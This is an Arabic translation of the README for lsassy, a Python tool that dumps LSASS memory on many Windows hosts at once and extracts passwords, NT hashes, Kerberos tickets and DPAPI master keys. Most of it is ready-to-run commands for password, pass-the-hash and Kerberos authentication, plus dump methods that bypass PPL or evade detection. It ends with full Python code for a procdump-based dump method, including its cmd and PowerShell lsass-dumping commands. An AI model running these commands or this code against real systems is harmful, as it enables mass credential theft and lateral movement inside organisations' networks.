
استخراج بيانات الاعتماد من lsass عن بُعد
أداة بايثون لاستخراج بيانات الاعتماد عن بُعد من مجموعة من المضيفين. يشرح هذا المقال كيفية عملها.
تستخدم هذه الأداة مشروع impacket لقراءة البايتات اللازمة عن بُعد من تفريغ lsass و pypykatz لاستخراج بيانات الاعتماد.
| الفصول | الوصف |
|---|---|
| تحذير | قبل استخدام هذه الأداة، اقرأ هذا |
| التثبيت | تثبيت Lsassy |
| الاستخدام الأساسي | استخدام lsassy الأساسي |
| الاستخدام المتقدم | استخدام lsassy المتقدم مع شرح المعاملات |
| إضافة طريقة تفريغ | كيفية إضافة طريقة تفريغ lsass مخصصة |
| شكر وتقدير | تحية لهؤلاء الأشخاص والأدوات |
| ديسكورد الرسمي | خادم ديسكورد الرسمي |
على الرغم من أنني بذلت قصارى جهدي لجعل الأداة مستقرة، فقد تبقى آثار في حال حدوث أخطاء.
يمكن لهذه الأداة إما أن تترك بعض تفريغات lsass إذا فشلت في حذفها (على الرغم من أنها تحاول جاهدة القيام بذلك) أو أن تترك مهمة مجدولة قيد التشغيل إذا فشلت في حذفها. لا ينبغي أن يحدث هذا، لكنه قد يحدث. الآن أنت تعلم، استخدمها بحذر.
lsassy تعمل مع بايثون >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy تعمل فوراً على أهداف متعددة (IP(s)، نطاق(ات)، CIDR(ات)، اسم مضيف(ات)، FQDN(ات)، ملف(ات) تحتوي على قائمة أهداف)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
بشكل افتراضي، ستحاول lsassy تفريغ lsass عن بُعد باستخدام طريقة comsvcs.dll، إما عبر WMI أو عبر مهمة مجدولة عن بُعد.
يمكن لـ lsassy المصادقة باستخدام Kerberos. يتطلب ذلك TGT صالحاً في متغير البيئة KRB5CCNAME. راجع الاستخدام المتقدم لمزيد من التفاصيل.
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
يتم تنفيذ طرق مختلفة لتفريغ lsass في lsassy، ويتم توفير بعض الخيارات لإعطاء المستخدم التحكم في كيفية عمل الأداة.
lsassy مقسمة إلى وحدات
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
هذه الوحدة هي المنسقة. تقوم بإنشاء فئة lsassy مع الوسائط والخيارات المقدمة، ثم تستدعي الوحدات المختلفة لاسترداد بيانات الاعتماد.
تُستخدم هذه الوحدة لأغراض التسجيل.
هذه طبقة مبنية فوق Impacket للتصرف مثل كائن ملف بايثون المدمج. تقوم بتجاوز طرق مثل open، read، seek، أو close.
هذه هي الوحدة التي تحتوي على كل منطق التفريغ. اعتماداً على الطريقة المستخدمة، ستقوم بتنفيذ كود على المضيف البعيد لتفريغ lsass باستخدام الطريقة المقدمة.
تعتمد هذه الوحدة على pypykatz وتستخدم وحدة الملف في lsassy لتحليل تفريغ lsass عن بُعد
تتعامل هذه الوحدة مع جزء الإخراج، إما على الشاشة بتنسيقات مختلفة و/أو كتابة النتائج إلى ملف
يمكن لهذه الأداة تفريغ lsass بطرق مختلفة.
طرق التفريغ (-m أو --method)
تستخدم هذه الطريقة ملفات ويندوز المدمجة فقط لاستخراج بيانات الاعتماد عن بُعد. تستخدم وظيفة minidump من comsvcs.dll لتفريغ عملية lsass.
تقوم هذه الطريقة برفع procdump.exe من SysInternals لتفريغ عملية lsass.
تقوم هذه الطريقة برفع dumpert.exe أو dumpert.dll من outflanknl لتفريغ عملية lsass باستخدام استدعاءات النظام (syscalls).
تقوم هذه الطريقة برفع NativeDump.exe من ricardojoserf لتفريغ عملية lsass باستخدام NTAPIs فقط.
تقوم هذه الطريقة برفع ppldump.exe من itm4n لتفريغ عملية lsass وتجاوز PPL.
تقوم هذه الطريقة برفع Mirrordump.exe من Ccob لتفريغ lsass باستخدام مقبض مفتوح بالفعل لـ lsass عبر إضافة LSA.
تستخدم هذه الطريقة تقنية WER المستخدمة في PowerSploit.
لبعض طرق التفريغ، يلزم وجود خيارات، مثل مسار procdump أو dumpert. يمكن تعيين هذه الخيارات باستخدام --options أو -O مع قائمة مفصولة بفواصل من الخيارات بطريقة key=value.
... --options key=value,foo=bar
على سبيل المثال:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
يمكنك اختيار تحليل عملية lsass تم تفريغها بالفعل عن طريق توفير المفتاح --parse-only، بالإضافة إلى المعاملين --dump-path و --dump-name.
لاحظ أنه إذا اخترت هذه الطريقة، لن يتم حذف تفريغ lsass عن بُعد.
على سبيل المثال:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
إذا كنت لا تريد حذف التفريغ تلقائياً بعد تشغيل lsassy، يمكنك استخدام --keep-dump.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
سيتم استخراج تذاكر Kerberos وحفظها في $HOME/.config/lsassy/tickets بتنسيق ccache. يمكنك تحديد دليل الإخراج باستخدام المعامل -K [directory] أو --kerberos-dir [directory]. إذا لم يكن هذا الدليل موجوداً، ستحاول الأداة إنشاؤه قبل إخراج التذاكر.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
سيتم استخراج مفاتيح DPAPI الرئيسية وحفظها في $HOME/.config/lsassy/masterkeys.txt بتنسيق {GUID}:SHA1. يمكنك تحديد مسار ملف المفتاح الرئيسي باستخدام المعامل -M [path] أو --masterkeys-file [path]. إذا لم يكن مسار الملف موجوداً، ستحاول الأداة إنشاؤه قبل إنشاء الملف.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
هناك ثلاث طرق مختلفة للمصادقة على الأهداف البعيدة باستخدام lsassy. الشرط الوحيد هو أن المستخدم يحتاج إلى صلاحيات إدارية محلية على الأهداف البعيدة.
الأولى والأكثر وضوحاً هي استخدام بيانات الاعتماد النصية الصريحة. يمكن أن تكون مستخدماً محلياً أو مجال.
## مستخدم محلي
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## مستخدم مجال
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
من الممكن أيضاً المصادقة باستخدام تجزئة NT للمستخدم. يمكنك تقديم إما LM:NT أو إصدار NT فقط.
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## أو
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
يمكنك أيضاً المصادقة باستخدام Kerberos. لكي يعمل هذا، يجب أن يكون لديك تذكرة صالحة محفوظة على القرص، ويجب توفير مسار التذكرة في متغير البيئة KRB5CCNAME. لأغراض الاختبار، يمكن تحقيق ذلك باستخدام أداة getTGT.py من impacket.
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
سيطلب هذا الأمر TGT ويحفظها في ملف jsnow.ccache.
لكي تعرف lsassy أي تذكرة تستخدم، ستحتاج إلى تعيين مسار التذكرة صراحةً في متغير البيئة KRB5CCNAME.
export KRB5CCNAME="/home/pixis/jsnow.ccache"
عند تكوينها بشكل صحيح، يجب أن تكون قادراً على استخدام تلك التذكرة للمصادقة باستخدام المعامل -k. نظراً لأنك تستخدم هذه التذكرة، لم تعد بحاجة إلى توفير معلومات المصادقة الأخرى.
lsassy -k server01.hackn.lab
لاحظ أنه لكي يعمل هذا، ستحتاج إلى تكوين DNS صالح، إما ديناميكي مع خادم DNS صالح، أو ثابت باستخدام ملف hosts. علاوة على ذلك، يجب عليك دائماً استخدام FQDN عند إنشاء التذاكر واستخدام lsassy، أي استخدم server01.hackn.lab بدلاً من server01.
يمكن لـ lsassy إخراج بيانات الاعتماد بتنسيقات مختلفة باستخدام العلم --format أو -f
التنسيق الافتراضي، يتم عرض بيانات الاعتماد بشكل جميل ونظيف بألوان ذهبية. في credz نثق.
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
يعرض النتيجة بتنسيق json. يمكن أن يكون مفيداً عند الاستدعاء من سكريبت
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
إخراج قابل للبحث (grepable) يمكن أن يكون مفيداً في الأوامر القصيرة
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
لا يعرض النتيجة. مفيد عند استخدام --outfile
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
يحفظ النتيجة بتنسيق قابل للبحث في الملف المقدم (--outfile أو -o)
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
إذا كنت تريد الحصول فقط على بيانات اعتماد المستخدمين، مع استبعاد بيانات اعتماد أجهزة الكمبيوتر، يمكنك استخدام العلم --users
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
إذا كنت لا تريد تصدير التذاكر، يمكنك استخدام العلم --no-tickets
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
إذا كنت لا تريد تصدير المفاتيح الرئيسية، يمكنك استخدام العلم --no-masterkeys
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
يمكنك تحديد عدد الخيوط التي تريد استخدامها [1-256] باستخدام المعامل --threads.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
يوجد ملف dummy.py.tpl في دليل dumpmethod. يحتوي هذا الملف على هيكل أساسي لإنشاء وظيفة طريقة تفريغ جديدة.
هذه الطريقة إلزامية لأنها الطريقة التي سيتم استخدامها لتنفيذ كود على المضيف البعيد من أجل تفريغ lsass بطريقة ما. يجب أن تعيد قاموساً بعنصرين cmd و pwsh.
أمر cmd هو أمر تفهمه أداة cmd.exe. أمر pwsh هو أمر تفهمه powershell (في معظم الأحيان، أمر cmd صالح أيضاً في powershell)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
يوجد فئة Dependency يمكن استخدامها لرفع الملفات اللازمة لطريقة التفريغ بسهولة، مثل procdump.exe من sysinternals. يمكن استخدام طريقتين:
prepare_dependencies للتحقق مما إذا تم توفير جميع المعاملات من قبل المستخدم للعثور على الملف محلياً على قرص المستخدم ورفعه، ثم رفع الملف بالفعلclean_dependencies لمحاولة إزالة الملفات المرفوعةسيتم استدعاء هذه الطريقة قبل تنفيذ الأوامر المقدمة بواسطة get_commands. يمكن استخدامها لرفع الملفات أو التحقق من أشياء.
سيتم استدعاء هذه الطريقة بعد تنفيذ الأوامر المقدمة بواسطة get_commands. يمكن استخدامها لحذف الملفات المرفوعة أو تنظيف الأشياء.
فيما يلي مثال procdump مع بعض التعليقات
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
إذا كانت طريقة التفريغ الخاصة بك لا يمكنها إنتاج ملف تفريغ باسم ملف تفريغ مخصص، فيجب تعيين هذا الإعداد إلى False
وإلغاء تعليق 'dump_name' لتوفير اسم ملف التفريغ المتوقع على النظام البعيد.
"""
custom_dump_name_support = True # الافتراضي: True
# dump_name = "" # الافتراضي: اسم ملف تفريغ عشوائي
"""
إذا كانت طريقة التفريغ الخاصة بك لا يمكنها إنتاج ملف تفريغ في دليل مخصص، فيجب تعيين هذا الإعداد إلى False
وإلغاء تعليق 'dump_share' و 'dump_path' لتوفير موقع ملف التفريغ المتوقع على النظام البعيد.
إذا كانت أداة التفريغ الخاصة بك يمكن أن يكون لها اسم تفريغ مخصص ولكن ليس امتداد تفريغ مخصص، فقدم امتداد التفريغ في متغير dump_ext
في هذا المثال، سينتج procdump.exe تفريغاً أينما نريد، باسم نختاره، لكنه سيضيف دائماً امتداد .dmp.
"""
custom_dump_path_support = True # الافتراضي: True
# dump_share = "" # الافتراضي: "C$"
# dump_path = "" # الافتراضي: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
يتم تحميل __init__ لإنشاء بعض متغيرات المثيل
"""
super().__init__(session, timeout)
"""
تتطلب هذه الوحدة رفع procdump.exe على الخادم البعيد قبل تنفيذه.
لذلك نضيف procdump كتبعية. الوسيطة الأولى هي اسم للتبعية (يمكن أن يكون عشوائياً)،
والوسيطة الثانية هي اسم الملف القابل للتنفيذ الافتراضي على قرص المستخدم المحلي.
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
يتم تحميل طريقة Prepare حتى نتمكن من
- التحقق مما إذا تم توفير المعاملات الإلزامية
- رفع procdump على المضيف البعيد.
كل هذا يمكن القيام به باستخدام طريقة prepare_dependencies من كائن التبعية الخاص بنا
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
يتم تحميل طريقة Clean حتى نتمكن من حذف التبعية إذا تم رفعها
ستقوم طريقة clean_dependencies بذلك نيابة عنا.
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
يتم تحميل طريقة get_commands لأنها إلزامية.
يتم توفير طريقتين مختلفتين لتفريغ lsass باستخدام cmd.exe و powershell وإعادتهما.
يتم استخدام طريقة get_remote_path من كائن التبعية الخاص بنا للحصول على المسار البعيد الصحيح
لـ procdump على هدفنا.
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
يمكنك مراجعة الفئة الوهمية (dummy class) لمزيد من التعليقات و/أو المعلومات.
